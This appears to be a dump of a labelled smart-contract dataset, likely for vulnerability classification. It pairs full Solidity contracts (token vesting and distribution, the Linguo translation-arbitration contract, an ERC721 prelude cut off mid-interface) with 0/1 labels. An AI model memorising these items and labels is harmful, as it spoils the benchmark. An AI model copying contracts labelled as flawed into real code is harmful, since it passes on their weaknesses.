source_codes
stringlengths
72
205k
labels
int64
0
1
__index_level_0__
int64
0
5.56k
pragma solidity ^0.4.18; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { assert(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { assert(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { assert(token.approve(spender, value)); } } contract TokenTimelock { using SafeERC20 for ERC20Basic; ERC20Basic public token; address public beneficiary; uint256 public releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint256 _releaseTime) public { require(_releaseTime > now); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime; } function release() public { require(now >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(uint256 amount); event Revoked(); address public beneficiary; uint256 public cliff; uint256 public start; uint256 public duration; bool public revocable; mapping (address => uint256) public released; mapping (address => bool) public revoked; function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public { require(_beneficiary != address(0)); require(_cliff <= _duration); beneficiary = _beneficiary; revocable = _revocable; duration = _duration; cliff = _start.add(_cliff); start = _start; } function release(ERC20Basic token) public { uint256 unreleased = releasableAmount(token); require(unreleased > 0); released[token] = released[token].add(unreleased); token.safeTransfer(beneficiary, unreleased); Released(unreleased); } function revoke(ERC20Basic token) public onlyOwner { require(revocable); require(!revoked[token]); uint256 balance = token.balanceOf(this); uint256 unreleased = releasableAmount(token); uint256 refund = balance.sub(unreleased); revoked[token] = true; token.safeTransfer(owner, refund); Revoked(); } function releasableAmount(ERC20Basic token) public view returns (uint256) { return vestedAmount(token).sub(released[token]); } function vestedAmount(ERC20Basic token) public view returns (uint256) { uint256 currentBalance = token.balanceOf(this); uint256 totalBalance = currentBalance.add(released[token]); if (now < cliff) { return 0; } else if (now >= start.add(duration) || revoked[token]) { return totalBalance; } else { return totalBalance.mul(now.sub(start)).div(duration); } } } contract InitialTokenDistribution is Ownable { using SafeMath for uint256; ERC20 public token; mapping (address => uint256) public initiallyDistributed; bool public initialDistributionDone = false; modifier onInitialDistribution() { require(!initialDistributionDone); _; } function InitialTokenDistribution(ERC20 _token) public { token = _token; } function totalTokensDistributed() public view returns (uint256); function processInitialDistribution() onInitialDistribution onlyOwner public { initialDistribution(); initialDistributionDone = true; } function initialTransfer(address to, uint256 amount) onInitialDistribution public { require(to != address(0)); initiallyDistributed[to] = amount; token.transferFrom(msg.sender, to, amount); } function initialDistribution() internal; } contract DetailedERC20 is ERC20 { string public name; string public symbol; uint8 public decimals; function DetailedERC20(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract CurrentInitialTokenDistribution is InitialTokenDistribution { uint256 public reservedTokensFounders; uint256 public reservedOperationalExpenses; uint256 public reservedIcoCrowdsale; address public foundersWallet; address public operationalExpensesWallet; address public icoCrowdsaleContract; function CurrentInitialTokenDistribution ( DetailedERC20 _token, address _foundersWallet, address _operationalExpensesWallet, address _icoCrowdsaleContract ) InitialTokenDistribution(_token) public { foundersWallet = _foundersWallet; operationalExpensesWallet = _operationalExpensesWallet; icoCrowdsaleContract = _icoCrowdsaleContract; uint8 decimals = _token.decimals(); reservedTokensFounders = 40e9 * (10 ** uint256(decimals)); reservedOperationalExpenses = 10e9 * (10 ** uint256(decimals)); reservedIcoCrowdsale = 499e8 * (10 ** uint256(decimals)); } function totalTokensDistributed() public view returns (uint256) { return reservedTokensFounders + reservedOperationalExpenses + reservedIcoCrowdsale; } function initialDistribution() internal { initialTransfer(foundersWallet, reservedTokensFounders); initialTransfer(operationalExpensesWallet, reservedOperationalExpenses); initialTransfer(icoCrowdsaleContract, reservedIcoCrowdsale); } }
1
4,065
pragma solidity 0.7.4; interface IArbitrable { event Ruling(IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _ruling); function rule(uint256 _disputeID, uint256 _ruling) external; } interface IArbitrator { enum DisputeStatus {Waiting, Appealable, Solved} event DisputeCreation(uint256 indexed _disputeID, IArbitrable indexed _arbitrable); event AppealPossible(uint256 indexed _disputeID, IArbitrable indexed _arbitrable); event AppealDecision(uint256 indexed _disputeID, IArbitrable indexed _arbitrable); function createDispute(uint256 _choices, bytes calldata _extraData) external payable returns (uint256 disputeID); function arbitrationCost(bytes calldata _extraData) external view returns (uint256 cost); function appeal(uint256 _disputeID, bytes calldata _extraData) external payable; function appealCost(uint256 _disputeID, bytes calldata _extraData) external view returns (uint256 cost); function appealPeriod(uint256 _disputeID) external view returns (uint256 start, uint256 end); function disputeStatus(uint256 _disputeID) external view returns (DisputeStatus status); function currentRuling(uint256 _disputeID) external view returns (uint256 ruling); } interface IEvidence { event MetaEvidence(uint256 indexed _metaEvidenceID, string _evidence); event Evidence( IArbitrator indexed _arbitrator, uint256 indexed _evidenceGroupID, address indexed _party, string _evidence ); event Dispute( IArbitrator indexed _arbitrator, uint256 indexed _disputeID, uint256 _metaEvidenceID, uint256 _evidenceGroupID ); } library CappedMath { uint constant private UINT_MAX = 2**256 - 1; function addCap(uint _a, uint _b) internal pure returns (uint) { uint c = _a + _b; return c >= _a ? c : UINT_MAX; } function subCap(uint _a, uint _b) internal pure returns (uint) { if (_b > _a) return 0; else return _a - _b; } function mulCap(uint _a, uint _b) internal pure returns (uint) { if (_a == 0) return 0; uint c = _a * _b; return c / _a == _b ? c : UINT_MAX; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Linguo is IArbitrable, IEvidence { using CappedMath for uint256; uint8 public constant VERSION_ID = 0; uint256 public constant MULTIPLIER_DIVISOR = 10000; uint256 private constant NOT_PAYABLE_VALUE = (2**256 - 2) / 2; enum Status {Created, Assigned, AwaitingReview, DisputeCreated, Resolved} enum Party { None, Translator, Challenger } struct Task { uint256 submissionTimeout; uint256 minPrice; uint256 maxPrice; Status status; uint256 lastInteraction; address payable requester; uint256 requesterDeposit; uint256 sumDeposit; address payable[3] parties; uint256 disputeID; Round[] rounds; uint256 ruling; } struct Round { uint256[3] paidFees; bool[3] hasPaid; uint256 feeRewards; mapping(address => uint256[3]) contributions; } address public governor = msg.sender; IArbitrator public immutable arbitrator; bytes public arbitratorExtraData; uint256 public reviewTimeout; uint256 public translationMultiplier; uint256 public challengeMultiplier; uint256 public sharedStakeMultiplier; uint256 public winnerStakeMultiplier; uint256 public loserStakeMultiplier; Task[] public tasks; mapping(uint256 => uint256) public disputeIDtoTaskID; event TaskCreated(uint256 indexed _taskID, address indexed _requester, uint256 _timestamp); event TaskAssigned(uint256 indexed _taskID, address indexed _translator, uint256 _price, uint256 _timestamp); event TranslationSubmitted( uint256 indexed _taskID, address indexed _translator, string _translatedText, uint256 _timestamp ); event TranslationChallenged(uint256 indexed _taskID, address indexed _challenger, uint256 _timestamp); event TaskResolved(uint256 indexed _taskID, string _reason, uint256 _timestamp); event AppealContribution(uint256 indexed _taskID, Party _party, address indexed _contributor, uint256 _amount); event HasPaidAppealFee(uint256 indexed _taskID, Party _party); modifier onlyGovernor() { require(msg.sender == governor, "Only governor is allowed to perform this."); _; } constructor( IArbitrator _arbitrator, bytes memory _arbitratorExtraData, uint256 _reviewTimeout, uint256 _translationMultiplier, uint256 _challengeMultiplier, uint256 _sharedStakeMultiplier, uint256 _winnerStakeMultiplier, uint256 _loserStakeMultiplier ) public { arbitrator = _arbitrator; arbitratorExtraData = _arbitratorExtraData; reviewTimeout = _reviewTimeout; translationMultiplier = _translationMultiplier; challengeMultiplier = _challengeMultiplier; sharedStakeMultiplier = _sharedStakeMultiplier; winnerStakeMultiplier = _winnerStakeMultiplier; loserStakeMultiplier = _loserStakeMultiplier; } function changeGovernor(address _governor) public onlyGovernor { governor = _governor; } function changeReviewTimeout(uint256 _reviewTimeout) public onlyGovernor { reviewTimeout = _reviewTimeout; } function changeTranslationMultiplier(uint256 _translationMultiplier) public onlyGovernor { translationMultiplier = _translationMultiplier; } function changeChallengeMultiplier(uint256 _challengeMultiplier) public onlyGovernor { challengeMultiplier = _challengeMultiplier; } function changeSharedStakeMultiplier(uint256 _sharedStakeMultiplier) public onlyGovernor { sharedStakeMultiplier = _sharedStakeMultiplier; } function changeWinnerStakeMultiplier(uint256 _winnerStakeMultiplier) public onlyGovernor { winnerStakeMultiplier = _winnerStakeMultiplier; } function changeLoserStakeMultiplier(uint256 _loserStakeMultiplier) public onlyGovernor { loserStakeMultiplier = _loserStakeMultiplier; } function createTask( uint256 _deadline, uint256 _minPrice, string calldata _metaEvidence ) external payable returns (uint256 taskID) { require(msg.value >= _minPrice, "Deposited value should be greater than or equal to the min price."); require(_deadline > block.timestamp, "The deadline should be in the future."); taskID = tasks.length; Task storage task = tasks.push(); task.submissionTimeout = _deadline - block.timestamp; task.minPrice = _minPrice; task.maxPrice = msg.value; task.lastInteraction = block.timestamp; task.requester = msg.sender; task.requesterDeposit = msg.value; emit MetaEvidence(taskID, _metaEvidence); emit TaskCreated(taskID, msg.sender, block.timestamp); } function assignTask(uint256 _taskID) external payable { Task storage task = tasks[_taskID]; require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed."); uint256 price = task.minPrice + ((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) / task.submissionTimeout; uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); uint256 translatorDeposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR); require(task.status == Status.Created, "Task has already been assigned or reimbursed."); require(msg.value >= translatorDeposit, "Not enough ETH to reach the required deposit value."); task.parties[uint256(Party.Translator)] = msg.sender; task.status = Status.Assigned; uint256 remainder = task.maxPrice - price; task.requester.send(remainder); task.requesterDeposit = price; task.sumDeposit = translatorDeposit; remainder = msg.value - translatorDeposit; msg.sender.send(remainder); emit TaskAssigned(_taskID, msg.sender, price, block.timestamp); } function submitTranslation(uint256 _taskID, string calldata _translation) external { Task storage task = tasks[_taskID]; require( task.status == Status.Assigned, "The task is either not assigned or translation has already been submitted." ); require(block.timestamp - task.lastInteraction <= task.submissionTimeout, "The deadline has already passed."); require( msg.sender == task.parties[uint256(Party.Translator)], "Can't submit translation to a task that wasn't assigned to you." ); task.status = Status.AwaitingReview; task.lastInteraction = block.timestamp; emit TranslationSubmitted(_taskID, msg.sender, _translation, block.timestamp); } function reimburseRequester(uint256 _taskID) external { Task storage task = tasks[_taskID]; require(task.status < Status.AwaitingReview, "Can't reimburse if translation was submitted."); require( block.timestamp - task.lastInteraction > task.submissionTimeout, "Can't reimburse if the deadline hasn't passed yet." ); task.status = Status.Resolved; uint256 amount = task.requesterDeposit + task.sumDeposit; task.requester.send(amount); task.requesterDeposit = 0; task.sumDeposit = 0; emit TaskResolved(_taskID, "requester-reimbursed", block.timestamp); } function acceptTranslation(uint256 _taskID) external { Task storage task = tasks[_taskID]; require(task.status == Status.AwaitingReview, "The task is in the wrong status."); require(block.timestamp - task.lastInteraction > reviewTimeout, "The review phase hasn't passed yet."); task.status = Status.Resolved; uint256 amount = task.requesterDeposit + task.sumDeposit; task.parties[uint256(Party.Translator)].send(amount); task.requesterDeposit = 0; task.sumDeposit = 0; emit TaskResolved(_taskID, "translation-accepted", block.timestamp); } function challengeTranslation(uint256 _taskID, string calldata _evidence) external payable { Task storage task = tasks[_taskID]; uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); uint256 challengeDeposit = arbitrationCost.addCap( (challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR ); require(task.status == Status.AwaitingReview, "The task is in the wrong status."); require(block.timestamp - task.lastInteraction <= reviewTimeout, "The review phase has already passed."); require(msg.value >= challengeDeposit, "Not enough ETH to cover challenge deposit."); task.status = Status.DisputeCreated; task.parties[uint256(Party.Challenger)] = msg.sender; task.disputeID = arbitrator.createDispute{value: arbitrationCost}(2, arbitratorExtraData); disputeIDtoTaskID[task.disputeID] = _taskID; task.rounds.push(); task.sumDeposit = task.sumDeposit.addCap(challengeDeposit).subCap(arbitrationCost); uint256 remainder = msg.value - challengeDeposit; msg.sender.send(remainder); emit Dispute(arbitrator, task.disputeID, _taskID, _taskID); emit TranslationChallenged(_taskID, msg.sender, block.timestamp); if (bytes(_evidence).length > 0) emit Evidence(arbitrator, _taskID, msg.sender, _evidence); } function fundAppeal(uint256 _taskID, Party _side) external payable { Task storage task = tasks[_taskID]; require( _side == Party.Translator || _side == Party.Challenger, "Recipient must be either the translator or challenger." ); require(task.status == Status.DisputeCreated, "No dispute to appeal."); require( arbitrator.disputeStatus(task.disputeID) == IArbitrator.DisputeStatus.Appealable, "Dispute is not appealable." ); (uint256 appealPeriodStart, uint256 appealPeriodEnd) = arbitrator.appealPeriod(task.disputeID); require( block.timestamp >= appealPeriodStart && block.timestamp < appealPeriodEnd, "Funding must be made within the appeal period." ); uint256 winner = arbitrator.currentRuling(task.disputeID); uint256 multiplier; if (winner == uint256(_side)) { multiplier = winnerStakeMultiplier; } else if (winner == 0) { multiplier = sharedStakeMultiplier; } else { require( block.timestamp - appealPeriodStart < (appealPeriodEnd - appealPeriodStart) / 2, "The loser must pay during the first half of the appeal period." ); multiplier = loserStakeMultiplier; } Round storage round = task.rounds[task.rounds.length - 1]; require(!round.hasPaid[uint256(_side)], "Appeal fee has already been paid."); uint256 appealCost = arbitrator.appealCost(task.disputeID, arbitratorExtraData); uint256 totalCost = appealCost.addCap((appealCost.mulCap(multiplier)) / MULTIPLIER_DIVISOR); uint256 contribution; uint256 remainingETH; (contribution, remainingETH) = calculateContribution( msg.value, totalCost.subCap(round.paidFees[uint256(_side)]) ); round.contributions[msg.sender][uint256(_side)] += contribution; round.paidFees[uint256(_side)] += contribution; emit AppealContribution(_taskID, _side, msg.sender, contribution); if (round.paidFees[uint256(_side)] >= totalCost) { round.hasPaid[uint256(_side)] = true; round.feeRewards += round.paidFees[uint256(_side)]; emit HasPaidAppealFee(_taskID, _side); } msg.sender.send(remainingETH); if (round.hasPaid[uint256(Party.Translator)] && round.hasPaid[uint256(Party.Challenger)]) { arbitrator.appeal{value: appealCost}(task.disputeID, arbitratorExtraData); task.rounds.push(); round.feeRewards = round.feeRewards.subCap(appealCost); } } function calculateContribution(uint256 _available, uint256 _requiredAmount) internal pure returns (uint256 taken, uint256 remainder) { if (_requiredAmount > _available) return (_available, 0); remainder = _available - _requiredAmount; return (_requiredAmount, remainder); } function withdrawFeesAndRewards( address payable _beneficiary, uint256 _taskID, uint256 _round ) public { Task storage task = tasks[_taskID]; Round storage round = task.rounds[_round]; require(task.status == Status.Resolved, "The task should be resolved."); uint256 reward; if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) { reward = round.contributions[_beneficiary][uint256(Party.Translator)] + round.contributions[_beneficiary][uint256(Party.Challenger)]; round.contributions[_beneficiary][uint256(Party.Translator)] = 0; round.contributions[_beneficiary][uint256(Party.Challenger)] = 0; } else if (task.ruling == uint256(Party.None)) { uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; reward = rewardTranslator + rewardChallenger; round.contributions[_beneficiary][uint256(Party.Translator)] = 0; round.contributions[_beneficiary][uint256(Party.Challenger)] = 0; } else { reward = round.paidFees[task.ruling] > 0 ? (round.contributions[_beneficiary][task.ruling] * round.feeRewards) / round.paidFees[task.ruling] : 0; round.contributions[_beneficiary][task.ruling] = 0; } _beneficiary.send(reward); } function batchRoundWithdraw( address payable _beneficiary, uint256 _taskID, uint256 _cursor, uint256 _count ) public { Task storage task = tasks[_taskID]; for (uint256 i = _cursor; i < task.rounds.length && (_count == 0 || i < _cursor + _count); i++) withdrawFeesAndRewards(_beneficiary, _taskID, i); } function rule(uint256 _disputeID, uint256 _ruling) external override { Party resultRuling = Party(_ruling); uint256 taskID = disputeIDtoTaskID[_disputeID]; Task storage task = tasks[taskID]; Round storage round = task.rounds[task.rounds.length - 1]; require(msg.sender == address(arbitrator), "Must be called by the arbitrator."); require(task.status == Status.DisputeCreated, "The dispute has already been resolved."); if (round.hasPaid[uint256(Party.Translator)] == true) resultRuling = Party.Translator; else if (round.hasPaid[uint256(Party.Challenger)] == true) resultRuling = Party.Challenger; emit Ruling(IArbitrator(msg.sender), _disputeID, uint256(resultRuling)); executeRuling(_disputeID, uint256(resultRuling)); } function executeRuling(uint256 _disputeID, uint256 _ruling) internal { uint256 taskID = disputeIDtoTaskID[_disputeID]; Task storage task = tasks[taskID]; task.status = Status.Resolved; task.ruling = _ruling; uint256 amount; if (_ruling == uint256(Party.None)) { task.requester.send(task.requesterDeposit); amount = task.sumDeposit / 2; task.parties[uint256(Party.Translator)].send(amount); task.parties[uint256(Party.Challenger)].send(amount); } else if (_ruling == uint256(Party.Translator)) { amount = task.requesterDeposit + task.sumDeposit; task.parties[uint256(Party.Translator)].send(amount); } else { task.requester.send(task.requesterDeposit); task.parties[uint256(Party.Challenger)].send(task.sumDeposit); } task.requesterDeposit = 0; task.sumDeposit = 0; emit TaskResolved(taskID, "dispute-settled", block.timestamp); } function submitEvidence(uint256 _taskID, string calldata _evidence) external { Task storage task = tasks[_taskID]; require(task.status != Status.Resolved, "The task must not already be resolved."); emit Evidence(arbitrator, _taskID, msg.sender, _evidence); } function amountWithdrawable(uint256 _taskID, address payable _beneficiary) external view returns (uint256 total) { Task storage task = tasks[_taskID]; if (task.status != Status.Resolved) return total; for (uint256 i = 0; i < task.rounds.length; i++) { Round storage round = task.rounds[i]; if (!round.hasPaid[uint256(Party.Translator)] || !round.hasPaid[uint256(Party.Challenger)]) { total += round.contributions[_beneficiary][uint256(Party.Translator)] + round.contributions[_beneficiary][uint256(Party.Challenger)]; } else if (task.ruling == uint256(Party.None)) { uint256 rewardTranslator = round.paidFees[uint256(Party.Translator)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Translator)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; uint256 rewardChallenger = round.paidFees[uint256(Party.Challenger)] > 0 ? (round.contributions[_beneficiary][uint256(Party.Challenger)] * round.feeRewards) / (round.paidFees[uint256(Party.Translator)] + round.paidFees[uint256(Party.Challenger)]) : 0; total += rewardTranslator + rewardChallenger; } else { total += round.paidFees[uint256(task.ruling)] > 0 ? (round.contributions[_beneficiary][uint256(task.ruling)] * round.feeRewards) / round.paidFees[uint256(task.ruling)] : 0; } } return total; } function getDepositValue(uint256 _taskID) public view returns (uint256 deposit) { Task storage task = tasks[_taskID]; if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) { deposit = NOT_PAYABLE_VALUE; } else { uint256 price = task.minPrice + ((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) / task.submissionTimeout; uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); deposit = arbitrationCost.addCap((translationMultiplier.mulCap(price)) / MULTIPLIER_DIVISOR); } } function getChallengeValue(uint256 _taskID) public view returns (uint256 deposit) { Task storage task = tasks[_taskID]; if (block.timestamp - task.lastInteraction > reviewTimeout || task.status != Status.AwaitingReview) { deposit = NOT_PAYABLE_VALUE; } else { uint256 arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData); deposit = arbitrationCost.addCap((challengeMultiplier.mulCap(task.requesterDeposit)) / MULTIPLIER_DIVISOR); } } function getTaskPrice(uint256 _taskID) public view returns (uint256 price) { Task storage task = tasks[_taskID]; if (block.timestamp - task.lastInteraction > task.submissionTimeout || task.status != Status.Created) { price = 0; } else { price = task.minPrice + ((task.maxPrice - task.minPrice) * (block.timestamp - task.lastInteraction)) / task.submissionTimeout; } } function getTaskCount() public view returns (uint256) { return tasks.length; } function getNumberOfRounds(uint256 _taskID) public view returns (uint256) { Task storage task = tasks[_taskID]; return task.rounds.length; } function getContributions( uint256 _taskID, uint256 _round, address _contributor ) public view returns (uint256[3] memory contributions) { Task storage task = tasks[_taskID]; Round storage round = task.rounds[_round]; contributions = round.contributions[_contributor]; } function getTaskParties(uint256 _taskID) public view returns (address payable[3] memory parties) { Task storage task = tasks[_taskID]; parties = task.parties; } function getRoundInfo(uint256 _taskID, uint256 _round) public view returns ( uint256[3] memory paidFees, bool[3] memory hasPaid, uint256 feeRewards ) { Task storage task = tasks[_taskID]; Round storage round = task.rounds[_round]; return (round.paidFees, round.hasPaid, round.feeRewards); } } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } abstract contract ERC20Burnable is Context, ERC20 { using SafeMath for uint256; function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } function burnFrom(address account, uint256 amount) public virtual { uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, _msgSender(), decreasedAllowance); _burn(account, amount); } } contract ERC20Mock is ERC20, ERC20Burnable { constructor(address initialAccount, uint256 initialBalance) ERC20("MockToken", "MCT") { _mint(initialAccount, initialBalance); } }
0
325
pragma solidity ^0.8.0; interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.0; interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); 